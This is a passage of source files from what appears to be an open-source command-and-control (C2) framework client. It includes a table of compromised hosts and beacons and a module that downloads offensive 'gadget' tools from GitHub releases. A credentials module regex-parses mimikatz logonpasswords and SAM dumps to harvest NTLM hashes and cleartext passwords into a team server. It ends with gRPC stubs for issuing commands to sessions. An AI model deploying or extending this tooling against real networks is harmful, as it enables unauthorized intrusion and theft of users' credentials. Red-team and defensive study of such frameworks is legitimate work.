"Delete": 127 | self.listSessionObject.pop(ix) 128 | self.printSessions() 129 | 130 | 131 | def stopSession(self, beaconHash, listenerHash): 132 | session = TeamServerApi_pb2.Session( 133 | beaconHash=beaconHash, listenerHash=listenerHash) 134 | self.grpcClient.stopSession(session) 135 | self.getSessions() 136 | 137 | 138 | def getSessions(self): 139 | responses = self.grpcClient.getSessions() 140 | 141 | sessions = list() 142 | for response in responses: 143 | sessions.append(response) 144 | 145 | # check for idl sessions 146 | for ix, item in enumerate(self.listSessionObject): 147 | runing=False 148 | for session in sessions: 149 | if session.beaconHash == item.beaconHash: 150 | runing=True 151 | # set idl 152 | if not runing: 153 | self.listSessionObject[ix].lastProofOfLife="-1" 154 | 155 | for session in sessions: 156 | inStore=False 157 | for sessionStore in self.listSessionObject: 158 | #maj 159 | if session.listenerHash == sessionStore.listenerHash and session.beaconHash == sessionStore.beaconHash: 160 | self.sessionScriptSignal.emit("update", session.beaconHash, session.listenerHash, session.hostname, session.username, session.arch, session.privilege, session.os, session.lastProofOfLife, session.killed) 161 | inStore=True 162 | sessionStore.lastProofOfLife=session.lastProofOfLife 163 | sessionStore.listenerHash=session.listenerHash 164 | if session.hostname: 165 | sessionStore.hostname=session.hostname 166 | if session.username: 167 | sessionStore.username=session.username 168 | if session.arch: 169 | sessionStore.arch=session.arch 170 | if session.privilege: 171 | sessionStore.privilege=session.privilege 172 | if session.os: 173 | sessionStore.os=session.os 174 | if session.lastProofOfLife: 175 | sessionStore.lastProofOfLife=session.lastProofOfLife 176 | if session.killed: 177 | sessionStore.killed=session.killed 178 | if session.internalIps: 179 | sessionStore.internalIps=session.internalIps 180 | if session.processId: 181 | sessionStore.processId=session.processId 182 | if session.additionalInformation: 183 | sessionStore.additionalInformation=session.additionalInformation 184 | # add 185 | if not inStore: 186 | self.sessionScriptSignal.emit("start", session.beaconHash, session.listenerHash, session.hostname, session.username, session.arch, session.privilege, session.os, session.lastProofOfLife, session.killed) 187 | 188 | print(session) 189 | 190 | self.listSessionObject.append( 191 | Session( 192 | self.idSession, 193 | session.listenerHash, session.beaconHash, 194 | session.hostname, session.username, session.arch, 195 | session.privilege, session.os, session.lastProofOfLife, 196 | session.killed, session.internalIps, session.processId, session.additionalInformation 197 | ) 198 | ) 199 | self.idSession = self.idSession+1 200 | 201 | self.printSessions() 202 | 203 | 204 | # don't clear the list each time but just when it's necessary 205 | def printSessions(self): 206 | self.listSession.setRowCount(len(self.listSessionObject)) 207 | self.listSession.setHorizontalHeaderLabels(["Beacon ID", "Listener ID", "Host", "User", "Architecture", "Privilege", "Operating System", "Process ID", "Internal IP", "ProofOfLife", "Killed"]) 208 | for ix, sessionStore in enumerate(self.listSessionObject): 209 | 210 | beaconHash = QTableWidgetItem(sessionStore.beaconHash[0:8]) 211 | self.listSession.setItem(ix, 0, beaconHash) 212 | 213 | listenerHash = QTableWidgetItem(sessionStore.listenerHash[0:8]) 214 | self.listSession.setItem(ix, 1, listenerHash) 215 | 216 | hostname = QTableWidgetItem(sessionStore.hostname) 217 | self.listSession.setItem(ix, 2, hostname) 218 | 219 | username = QTableWidgetItem(sessionStore.username) 220 | self.listSession.setItem(ix, 3, username) 221 | 222 | arch = QTableWidgetItem(sessionStore.arch) 223 | self.listSession.setItem(ix, 4, arch) 224 | 225 | privilege = QTableWidgetItem(sessionStore.privilege) 226 | self.listSession.setItem(ix, 5, privilege) 227 | 228 | os = QTableWidgetItem(sessionStore.os) 229 | self.listSession.setItem(ix, 6, os) 230 | 231 | processId = QTableWidgetItem(sessionStore.processId) 232 | self.listSession.setItem(ix, 7, processId) 233 | 234 | internalIps = QTableWidgetItem(sessionStore.internalIps) 235 | self.listSession.setItem(ix, 8, internalIps) 236 | 237 | pol = QTableWidgetItem(sessionStore.lastProofOfLife.split(".", 1)[0]) 238 | self.listSession.setItem(ix, 9, pol) 239 | 240 | killed = QTableWidgetItem(str(sessionStore.killed)) 241 | self.listSession.setItem(ix, 10, killed) 242 | 243 | 244 | class GetSessionsWorker(QObject): 245 | checkin = pyqtSignal() 246 | 247 | def __init__(self, parent=None): 248 | super().__init__(parent) 249 | self.exit = False 250 | 251 | def __del__(self): 252 | self.exit=True 253 | 254 | def run(self): 255 | try: 256 | while self.exit==False: 257 | if self.receivers(self.checkin) > 0: 258 | self.checkin.emit() 259 | time.sleep(2) 260 | except Exception as e: 261 | pass 262 | 263 | def quit(self): 264 | self.exit=True 265 | 266 | -------------------------------------------------------------------------------- /C2Client/C2Client/TerminalModules/Batcave/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | cache -------------------------------------------------------------------------------- /C2Client/C2Client/TerminalModules/Batcave/batcave.py: -------------------------------------------------------------------------------- 1 | from pathlib import Path 2 | from PyQt5.QtCore import ws 3 | import requests 4 | import json 5 | import zipfile 6 | import os 7 | 8 | BatcaveUrl = "https://github.com/exploration-batcave/batcave" 9 | BatcaveCache = os.path.join(Path(__file__).parent, 'cache') 10 | 11 | def getLatestRelease(githubUrl: str): 12 | owner = githubUrl.split("/")[3] 13 | repo = githubUrl.split("/")[4] 14 | return f"https://api.github.com/repos/{owner}/{repo}/releases/latest" 15 | 16 | 17 | def fetchBatcaveJson(): 18 | urlToFetch = getLatestRelease(BatcaveUrl) 19 | response = requests.get(urlToFetch) 20 | 21 | res = {} 22 | if response.status_code == 200: 23 | release_data = response.json() 24 | for asset in release_data.get("assets", []): 25 | if asset["name"].endswith(".json"): 26 | json_url = asset["browser_download_url"] 27 | 28 | json_response = requests.get(json_url) 29 | if json_response.status_code == 200: 30 | json_data = json_response.json() 31 | return json_data 32 | print("Failed to Fetch Json") 33 | return {} 34 | 35 | 36 | def searchTheBatcave(name: str): 37 | batcaveJson = fetchBatcaveJson() 38 | gadgetList = batcaveJson.get("gadgets", []) 39 | bundleList = batcaveJson.get("bundles", []) 40 | 41 | # Searching in Gadgets 42 | resGadget = [] 43 | for gadget in gadgetList: 44 | if name.lower() in gadget.get("name", "").lower(): 45 | resGadget.append(gadget.get("name")) 46 | 47 | # Searching in Bundles 48 | resBundle = [] 49 | for bundle in bundleList: 50 | bundleName = next(iter(bundle)) 51 | if name.lower() in bundleName.lower(): 52 | resBundle.append(bundle) 53 | 54 | result = "" 55 | if resGadget != []: 56 | result += "Found the Following BatGadget that may correspond:\n" 57 | for gadget in resGadget: 58 | result += f" - Batcave Install {gadget}\n" 59 | else: 60 | result += "No BatGadget Found ... It is ok, Don't be the mask\n" 61 | 62 | result += "\n" 63 | 64 | if resBundle != []: 65 | result += "Found the Following BatBundle that may correspond:\n" 66 | for bundle in resBundle: 67 | bundleName = next(iter(bundle)) 68 | result += f" - Batcave BundleInstall {bundleName} - - - > {bundle.get(bundleName)}\n" 69 | else: 70 | result += "No Bundles Found ... It is ok, Don't be the mask\n" 71 | return result 72 | 73 | 74 | def saveZipInLocalCache(releaseURL: str): 75 | os.makedirs(BatcaveCache, exist_ok=True) 76 | response = requests.get(releaseURL) 77 | if response.status_code == 200: 78 | release_data = response.json() 79 | for asset in release_data.get("assets", []): 80 | if asset["name"].endswith(".zip"): # Assuming the file is a ZIP 81 | zip_url = asset["browser_download_url"] 82 | zip_file_path = os.path.join(BatcaveCache, asset["name"]) 83 | with requests.get(zip_url, stream=True) as r: 84 | r.raise_for_status() 85 | with open(zip_file_path, "wb") as f: 86 | for chunk in r.iter_content(chunk_size=8192): 87 | f.write(chunk) 88 | return zip_file_path 89 | return "" 90 | 91 | 92 | def unzipFile(zipfilepath: str): 93 | extractDir = os.path.join(BatcaveCache, "extracted") 94 | os.makedirs(extractDir, exist_ok=True) 95 | with zipfile.ZipFile(zipfilepath, "r") as zip_ref: 96 | zip_ref.extractall(extractDir) 97 | extractedFiles = zip_ref.namelist() 98 | 99 | if len(extractedFiles) != 1: 100 | print("Weird, we should have 1 file per zip but got this " + str(extractedFiles)) 101 | print("Will take the first and continue with the life, but check the logs") 102 | return os.path.join(extractDir, extractedFiles[0]) 103 | 104 | 105 | def downloadBatGadget(name: str): 106 | batcaveJson = fetchBatcaveJson() 107 | gadgetList = batcaveJson.get("gadgets", []) 108 | for gadget in gadgetList: 109 | if name.lower() == gadget.get("name", "").lower(): 110 | batUrl = gadget.get("url") 111 | batReleaseUrl = getLatestRelease(batUrl) 112 | zipPath = saveZipInLocalCache(batReleaseUrl) 113 | unzipedFile = unzipFile(zipPath) 114 | return unzipedFile 115 | return "" 116 | 117 | 118 | def downloadBatBundle(name: str): 119 | batcaveJson = fetchBatcaveJson() 120 | bundleList = batcaveJson.get("bundles", []) 121 | for bundle in bundleList: 122 | bundleName = next(iter(bundle)) 123 | res = [] 124 | if name.lower() == bundleName.lower(): 125 | for gadgetName in bundle.get(bundleName): 126 | batGadgetPath = downloadBatGadget(gadgetName) 127 | if batGadgetPath != "": 128 | res.append(batGadgetPath) 129 | return res 130 | return [] 131 | -------------------------------------------------------------------------------- /C2Client/C2Client/TerminalModules/Credentials/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ -------------------------------------------------------------------------------- /C2Client/C2Client/TerminalModules/Credentials/credentials.py: -------------------------------------------------------------------------------- 1 | import json 2 | from grpcClient import GrpcClient 3 | import re 4 | 5 | GetCredentialsInstruction = "getCred" 6 | AddCredentialsInstruction = "addCred" 7 | 8 | 9 | def getCredentials(grpcClient: GrpcClient, TeamServerApi_pb2): 10 | commandTeamServer = GetCredentialsInstruction 11 | termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=b"") 12 | resultTermCommand = grpcClient.sendTermCmd(termCommand) 13 | result = resultTermCommand.result 14 | return result 15 | 16 | 17 | def addCredentials(grpcClient: GrpcClient,TeamServerApi_pb2, cred: str): 18 | currentcredentials = json.loads(getCredentials(grpcClient, TeamServerApi_pb2)) 19 | credjson = json.loads(cred) 20 | 21 | if credjson in currentcredentials: 22 | return 23 | 24 | commandTeamServer = AddCredentialsInstruction 25 | termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=cred.encode()) 26 | resultTermCommand = grpcClient.sendTermCmd(termCommand) 27 | result = resultTermCommand.result 28 | return result 29 | 30 | 31 | def handleSekurlsaLogonPasswords(mimikatzOutput: str, grpcClient: GrpcClient,TeamServerApi_pb2): 32 | auth_block_pattern = r"Authentication Id : .*?\n(.*?)(?=\nAuthentication Id :|\Z)" 33 | user_domain_pattern = r"User Name\s*:\s*(.*?)\s*Domain\s*:\s*(.*?)\n" 34 | ntlm_pattern = r"\*\s*NTLM\s*:\s*([a-fA-F0-9]{32})" 35 | password_pattern = r"\*\s*Password\s*:\s*(.+)" 36 | 37 | auth_blocks = re.findall(auth_block_pattern, mimikatzOutput, re.DOTALL) 38 | for block in auth_blocks: 39 | user_domain_match = re.search(user_domain_pattern, block) 40 | if user_domain_match: 41 | username = user_domain_match.group(1).strip() 42 | domain = user_domain_match.group(2).strip() 43 | else: 44 | username = "N/A" 45 | domain = "N/A" 46 | 47 | matchs = re.findall(ntlm_pattern, block) 48 | matchs = list(dict.fromkeys(matchs)) 49 | for ntlm in matchs: 50 | ntlm = ntlm.strip() 51 | if ntlm: 52 | cred = {} 53 | cred["username"] = username 54 | cred["domain"] = domain 55 | cred["ntlm"] = ntlm 56 | addCredentials(grpcClient, TeamServerApi_pb2, json.dumps(cred)) 57 | 58 | matchs = re.findall(password_pattern, block) 59 | matchs = list(dict.fromkeys(matchs)) 60 | for password in matchs: 61 | password = password.strip() 62 | if password and password != "(null)": 63 | cred = {} 64 | cred["username"] = username 65 | cred["domain"] = domain 66 | cred["password"] = password 67 | addCredentials(grpcClient, TeamServerApi_pb2, json.dumps(cred)) 68 | 69 | 70 | def handleLsaDumpSAM(mimikatzOutput: str, grpcClient: GrpcClient,TeamServerApi_pb2): 71 | domain_block_pattern = r"(Domain :.*?)(?=\nDomain :|\Z)" 72 | domain_pattern = r"Domain : (.*)" 73 | rid_block_pattern = r"(RID\s*:.*?)(?=\nRID\s*:|\Z)" 74 | user_hash_pattern = r"User\s*:\s*(\S+)\r?\n\s+Hash NTLM:\s*([a-fA-F0-9]+)" 75 | 76 | domain_blocks = re.findall(domain_block_pattern, mimikatzOutput, re.DOTALL) 77 | for block in domain_blocks: 78 | domain_match = re.search(domain_pattern, block) 79 | if domain_match: 80 | domain = domain_match.group(1).strip() 81 | else: 82 | continue 83 | 84 | rid_blocks = re.findall(rid_block_pattern, block, re.DOTALL) 85 | for rid_block in rid_blocks: 86 | matches = re.findall(user_hash_pattern, rid_block) 87 | for user, hash_ntlm in matches: 88 | cred = {} 89 | cred["username"] = user 90 | cred["domain"] = domain 91 | cred["ntlm"] = hash_ntlm 92 | addCredentials(grpcClient, TeamServerApi_pb2, json.dumps(cred)) 93 | 94 | 95 | def handleMimikatzCredentials(mimikatzOutput: str, grpcClient: GrpcClient,TeamServerApi_pb2): 96 | # check if "sekurlsa::logonpasswords" 97 | handleSekurlsaLogonPasswords(mimikatzOutput, grpcClient,TeamServerApi_pb2) 98 | # check if "lsadump::sam" 99 | handleLsaDumpSAM(mimikatzOutput, grpcClient, TeamServerApi_pb2) 100 | # check if "sekurlsa::ekeys" 101 | # extract Password / aies256_hmac / rc4_md4 102 | -------------------------------------------------------------------------------- /C2Client/C2Client/TerminalModules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/C2Client/C2Client/TerminalModules/__init__.py -------------------------------------------------------------------------------- /C2Client/C2Client/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/C2Client/C2Client/__init__.py -------------------------------------------------------------------------------- /C2Client/C2Client/grpcClient.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | 3 | import logging 4 | 5 | import sys 6 | import os 7 | import uuid 8 | sys.path.append(os.path.dirname(os.path.abspath(__file__))+'/libGrpcMessages/build/py/') 9 | 10 | import grpc 11 | import TeamServerApi_pb2 12 | import TeamServerApi_pb2_grpc 13 | 14 | 15 | class GrpcClient: 16 | 17 | def __init__(self, ip, port, devMode): 18 | 19 | env_cert_path = os.getenv('C2_CERT_PATH') 20 | 21 | if env_cert_path and os.path.isfile(env_cert_path): 22 | ca_cert = env_cert_path 23 | print(f"Using certificate from environment variable: {ca_cert}") 24 | else: 25 | try: 26 | import pkg_resources 27 | ca_cert = pkg_resources.resource_filename( 28 | 'C2Client', 29 | 'server.crt' 30 | ) 31 | except ImportError: 32 | ca_cert = os.path.join(os.path.dirname(__file__), 'server.crt') 33 | print(f"Using default certificate: {ca_cert}. To use a custom C2 certificate, set the C2_CERT_PATH environment variable.") 34 | 35 | if os.path.exists(ca_cert): 36 | root_certs = open(ca_cert, 'rb').read() 37 | else: 38 | print(f"[-] Error: {ca_cert} not found, this file is needed to secure the communication beetween the client and server.") 39 | print(f"You can find it in the release directory of the Teamserver.") 40 | print(f"Exiting.") 41 | raise ValueError("grpcClient: Certificate not found") 42 | 43 | credentials = grpc.ssl_channel_credentials(root_certs) 44 | if devMode: 45 | self.channel = grpc.secure_channel(ip + ':' + str(port), credentials, options=[('grpc.ssl_target_name_override', "localhost",), ('grpc.max_send_message_length', 512 * 1024 * 1024), ('grpc.max_receive_message_length', 512 * 1024 * 1024)]) 46 | else: 47 | self.channel = grpc.secure_channel(ip + ':' + str(port), credentials, options=[('grpc.max_send_message_length', 512 * 1024 * 1024), ('grpc.max_receive_message_length', 512 * 1024 * 1024)]) 48 | grpc.channel_ready_future(self.channel).result() 49 | self.stub = TeamServerApi_pb2_grpc.TeamServerApiStub(self.channel) 50 | 51 | self.metadata = [ 52 | ("authorization", "Bearer my-secret-token"), 53 | ("clientid", str(uuid.uuid4())[:16]) 54 | ] 55 | 56 | def getListeners(self): 57 | empty = TeamServerApi_pb2.Empty() 58 | listeners = self.stub.GetListeners(empty, metadata=self.metadata) 59 | return listeners 60 | 61 | def addListener(self, listener): 62 | response = self.stub.AddListener(listener, metadata=self.metadata) 63 | return response 64 | 65 | def stopListener(self, listener): 66 | response = self.stub.StopListener(listener, metadata=self.metadata) 67 | return response 68 | 69 | def getSessions(self): 70 | empty = TeamServerApi_pb2.Empty() 71 | sessions = self.stub.GetSessions(empty, metadata=self.metadata) 72 | return sessions 73 | 74 | def stopSession(self, session): 75 | response = self.stub.StopSession(session, metadata=self.metadata) 76 | return response 77 | 78 | def sendCmdToSession(self, command): 79 | response = self.stub.SendCmdToSession(command, metadata=self.metadata) 80 | return response 81 | 82 | def getResponseFromSession(self, session): 83 | commands = self.stub.GetResponseFromSession(session, metadata=self.metadata) 84 | return commands 85 | 86 | def getHelp(self, command): 87 | response = self.stub.GetHelp(command, metadata=self.metadata) 88 | return response 89 | 90 | def sendTermCmd(self, command): 91 | response = self.stub.SendTermCmd(command, metadata=self.metadata) 92 | return response 93 | 94 | 95 | -------------------------------------------------------------------------------- /C2Client/C2Client/images/firewall.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /C2Client/C2Client/images/linux.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /C2Client/C2Client/images/linuxhighpriv.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /C2Client/C2Client/images/pc.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /C2Client/C2Client/images/windowshighpriv.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by the protocol buffer compiler. DO NOT EDIT! 3 | # NO CHECKED-IN PROTOBUF GENCODE 4 | # source: TeamServerApi.proto 5 | # Protobuf Python Version: 5.27.0 6 | """Generated protocol buffer code.""" 7 | from google.protobuf import descriptor as _descriptor 8 | from google.protobuf import descriptor_pool as _descriptor_pool 9 | from google.protobuf import runtime_version as _runtime_version 10 | from google.protobuf import symbol_database as _symbol_database 11 | from google.protobuf.internal import builder as _builder 12 | _runtime_version.ValidateProtobufRuntimeVersion( 13 | _runtime_version.Domain.PUBLIC, 14 | 5, 15 | 27, 16 | 0, 17 | '', 18 | 'TeamServerApi.proto' 19 | ) 20 | # @@protoc_insertion_point(imports) 21 | 22 | _sym_db = _symbol_database.Default() 23 | 24 | 25 | 26 | 27 | DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x13TeamServerApi.proto\x12\rteamserverapi\"\x07\n\x05\x45mpty\"B\n\x08Response\x12%\n\x06status\x18\x01 \x01(\x0e\x32\x15.teamserverapi.Status\x12\x0f\n\x07message\x18\x02 \x01(\x0c\"\xa5\x01\n\x08Listener\x12\x14\n\x0clistenerHash\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\x12\x0c\n\x04port\x18\x03 \x01(\x05\x12\n\n\x02ip\x18\x04 \x01(\t\x12\x0f\n\x07project\x18\x06 \x01(\t\x12\r\n\x05token\x18\x07 \x01(\t\x12\x0e\n\x06\x64omain\x18\x08 \x01(\t\x12\x17\n\x0fnumberOfSession\x18\x05 \x01(\x05\x12\x12\n\nbeaconHash\x18\t \x01(\t\"\xf4\x01\n\x07Session\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x10\n\x08hostname\x18\x03 \x01(\t\x12\x10\n\x08username\x18\x04 \x01(\t\x12\x0c\n\x04\x61rch\x18\x05 \x01(\t\x12\x11\n\tprivilege\x18\x06 \x01(\t\x12\n\n\x02os\x18\x07 \x01(\t\x12\x17\n\x0flastProofOfLife\x18\x08 \x01(\t\x12\x0e\n\x06killed\x18\t \x01(\x08\x12\x13\n\x0binternalIps\x18\n \x01(\t\x12\x11\n\tprocessId\x18\x0b \x01(\t\x12\x1d\n\x15\x61\x64\x64itionalInformation\x18\x0c \x01(\t\"@\n\x07\x43ommand\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\"Y\n\x0f\x43ommandResponse\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x13\n\x0binstruction\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\x12\x10\n\x08response\x18\x04 \x01(\x0c\"8\n\x0bTermCommand\x12\x0b\n\x03\x63md\x18\x01 \x01(\t\x12\x0e\n\x06result\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\x0c*\x18\n\x06Status\x12\x06\n\x02OK\x10\x00\x12\x06\n\x02KO\x10\x01\x32\x87\x05\n\rTeamServerApi\x12\x41\n\x0cGetListeners\x12\x14.teamserverapi.Empty\x1a\x17.teamserverapi.Listener\"\x00\x30\x01\x12\x41\n\x0b\x41\x64\x64Listener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12\x42\n\x0cStopListener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12?\n\x0bGetSessions\x12\x14.teamserverapi.Empty\x1a\x16.teamserverapi.Session\"\x00\x30\x01\x12@\n\x0bStopSession\x12\x16.teamserverapi.Session\x1a\x17.teamserverapi.Response\"\x00\x12\x43\n\x07GetHelp\x12\x16.teamserverapi.Command\x1a\x1e.teamserverapi.CommandResponse\"\x00\x12\x45\n\x10SendCmdToSession\x12\x16.teamserverapi.Command\x1a\x17.teamserverapi.Response\"\x00\x12T\n\x16GetResponseFromSession\x12\x16.teamserverapi.Session\x1a\x1e.teamserverapi.CommandResponse\"\x00\x30\x01\x12G\n\x0bSendTermCmd\x12\x1a.teamserverapi.TermCommand\x1a\x1a.teamserverapi.TermCommand\"\x00\x62\x06proto3') 28 | 29 | _globals = globals() 30 | _builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals) 31 | _builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'TeamServerApi_pb2', _globals) 32 | if not _descriptor._USE_C_DESCRIPTORS: 33 | DESCRIPTOR._loaded_options = None 34 | _globals['_STATUS']._serialized_start=745 35 | _globals['_STATUS']._serialized_end=769 36 | _globals['_EMPTY']._serialized_start=38 37 | _globals['_EMPTY']._serialized_end=45 38 | _globals['_RESPONSE']._serialized_start=47 39 | _globals['_RESPONSE']._serialized_end=113 40 | _globals['_LISTENER']._serialized_start=116 41 | _globals['_LISTENER']._serialized_end=281 42 | _globals['_SESSION']._serialized_start=284 43 | _globals['_SESSION']._serialized_end=528 44 | _globals['_COMMAND']._serialized_start=530 45 | _globals['_COMMAND']._serialized_end=594 46 | _globals['_COMMANDRESPONSE']._serialized_start=596 47 | _globals['_COMMANDRESPONSE']._serialized_end=685 48 | _globals['_TERMCOMMAND']._serialized_start=687 49 | _globals['_TERMCOMMAND']._serialized_end=743 50 | _globals['_TEAMSERVERAPI']._serialized_start=772 51 | _globals['_TEAMSERVERAPI']._serialized_end=1419 52 | # @@protoc_insertion_point(module_scope) 53 | -------------------------------------------------------------------------------- /C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py: -------------------------------------------------------------------------------- 1 | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! 2 | """Client and server classes corresponding to protobuf-defined services.""" 3 | import grpc 4 | 5 | import TeamServerApi_pb2 as TeamServerApi__pb2 6 | 7 | 8 | class TeamServerApiStub(object): 9 | """Interface exported by the server. 10 | """ 11 | 12 | def __init__(self, channel): 13 | """Constructor. 14 | 15 | Args: 16 | channel: A grpc.Channel. 17 | """ 18 | self.GetListeners = channel.unary_stream( 19 | '/teamserverapi.TeamServerApi/GetListeners', 20 | request_serializer=TeamServerApi__pb2.Empty.SerializeToString, 21 | response_deserializer=TeamServerApi__pb2.Listener.FromString, 22 | _registered_method=True) 23 | self.AddListener = channel.unary_unary( 24 | '/teamserverapi.TeamServerApi/AddListener', 25 | request_serializer=TeamServerApi__pb2.Listener.SerializeToString, 26 | response_deserializer=TeamServerApi__pb2.Response.FromString, 27 | _registered_method=True) 28 | self.StopListener = channel.unary_unary( 29 | '/teamserverapi.TeamServerApi/StopListener', 30 | request_serializer=TeamServerApi__pb2.Listener.SerializeToString, 31 | response_deserializer=TeamServerApi__pb2.Response.FromString, 32 | _registered_method=True) 33 | self.GetSessions = channel.unary_stream( 34 | '/teamserverapi.TeamServerApi/GetSessions', 35 | request_serializer=TeamServerApi__pb2.Empty.SerializeToString, 36 | response_deserializer=TeamServerApi__pb2.Session.FromString, 37 | _registered_method=True) 38 | self.StopSession = channel.unary_unary( 39 | '/teamserverapi.TeamServerApi/StopSession', 40 | request_serializer=TeamServerApi__pb2.Session.SerializeToString, 41 | response_deserializer=TeamServerApi__pb2.Response.FromString, 42 | _registered_method=True) 43 | self.GetHelp = channel.unary_unary( 44 | '/teamserverapi.TeamServerApi/GetHelp', 45 | request_serializer=TeamServerApi__pb2.Command.SerializeToString, 46 | response_deserializer=TeamServerApi__pb2.CommandResponse.FromString, 47 | _registered_method=True) 48 | self.SendCmdToSession = channel.unary_unary( 49 | '/teamserverapi.TeamServerApi/SendCmdToSession', 50 | request_serializer=TeamServerApi__pb2.Command.SerializeToString, 51 | response_deserializer=TeamServerApi__pb2.Response.FromString, 52 | _registered_method=True) 53 | self.GetResponseFromSession = channel.unary_stream( 54 | '/teamserverapi.TeamServerApi/GetResponseFromSession', 55 | request_serializer=TeamServerApi__pb2.Session.SerializeToString, 56 | response_deserializer=TeamServerApi__pb2.CommandResponse.FromString, 57 | _registered_method=True) 58 | self.SendTermCmd = channel.unary_unary( 59 | '/teamserverapi.TeamServerApi/SendTermCmd', 60 | request_serializer=TeamServerApi__pb2.TermCommand.SerializeToString, 61 | response_deserializer=TeamServerApi__pb2.TermCommand.FromString, 62 | _registered_method=True) 63 | 64 | 65 | class TeamServerApiServicer(object): 66 | """Interface exported by the server. 67 | """ 68 | 69 | def GetListeners(self, request, context): 70 | """Missing associated documentation comment in .proto file.""" 71 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 72 | context.set_details('Method not implemented!') 73 | raise NotImplementedError('Method not implemented!') 74 | 75 | def AddListener(self, request, context): 76 | """Missing associated documentation comment in .proto file.""" 77 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 78 | context.set_details('Method not implemented!') 79 | raise NotImplementedError('Method not implemented!') 80 | 81 | def StopListener(self, request, context): 82 | """Missing associated documentation comment in .proto file.""" 83 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 84 | context.set_details('Method not implemented!') 85 | raise NotImplementedError('Method not implemented!') 86 | 87 | def GetSessions(self, request, context): 88 | """Missing associated documentation comment in .proto file.""" 89 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 90 | context.set_details('Method not implemented!') 91 | raise NotImplementedError('Method not implemented!') 92 | 93 | def StopSession(self, request, context): 94 | """Missing associated documentation comment in .proto file.""" 95 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 96 | context.set_details('Method not implemented!') 97 | raise NotImplementedError('Method not implemented!') 98 | 99 | def GetHelp(self, request, context): 100 | """Missing associated documentation comment in .proto file.""" 101 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 102 | context.set_details('Method not implemented!') 103 | raise NotImplementedError('Method not implemented!') 104 | 105 | def SendCmdToSession(self, request, context): 106 | """Missing associated documentation comment in .proto file.""" 107 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 108 | context.set_details('Method not implemented!') 109 | raise NotImplementedError('Method not implemented!') 110 | 111 | def GetResponseFromSession(self, request, context): 112 | """Missing associated documentation comment in .proto file.""" 113 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 114 | context.set_details('Method not implemented!') 115 | raise NotImplementedError('Method not implemented!') 116 | 117 | def SendTermCmd(self, request, context): 118 | """Missing associated documentation comment in .proto file.""" 119 | context.set_code(grpc.StatusCode.UNIMPLEMENTED) 120 | context.set_details('Method not implemented!') 121 | raise NotImplementedError('Method not implemented!') 122 | 123 | 124 | def add_TeamServerApiServicer_to_server(servicer, server): 125 | rpc_method_handlers = { 126 | 'GetListeners': grpc.unary_stream_rpc_method_handler( 127 | servicer.GetListeners, 128 | request_deserializer=TeamServerApi__pb2.Empty.FromString, 129 | response_serializer=TeamServerApi__pb2.Listener.SerializeToString, 130 | ), 131 | 'AddListener': grpc.unary_unary_rpc_method_handler( 132 | servicer.AddListener, 133 | request_deserializer=TeamServerApi__pb2.Listener.FromString, 134 | response_serializer=TeamServerApi__pb2.Response.SerializeToString, 135 | ), 136 | 'StopListener': grpc.unary_unary_rpc_method_handler( 137 | servicer.StopListener, 138 | request_deserializer=TeamServerApi__pb2.Listener.FromString, 139 | response_serializer=TeamServerApi__pb2.Response.SerializeToString, 140 | ), 141 | 'GetSessions': grpc.unary_stream_rpc_method_handler( 142 | servicer.GetSessions, 143 | request_deserializer=TeamServerApi__pb2.Empty.FromString, 144 | response_serializer=TeamServerApi__pb2.Session.SerializeToString, 145 | ), 146 | 'StopSession': grpc.unary_unary_rpc_method_handler( 147 | servicer.StopSession, 148 | request_deserializer=TeamServerApi__pb2.Session.FromString, 149 | response_serializer=TeamServerApi__pb2.Response.SerializeToString, 150 | ), 151 | 'GetHelp': grpc.unary_unary_rpc_method_handler( 152 | servicer.GetHelp, 153 | request_deserializer=TeamServerApi__pb2.Command.FromString, 154 | response_serializer=TeamServerApi__pb2.CommandResponse.SerializeToString, 155 | ), 156 | 'SendCmdToSession': grpc.unary_unary_rpc_method_handler( 157 | servicer.SendCmdToSession, 158 | request_deserializer=TeamServerApi__pb2.Command.FromString, 159 | 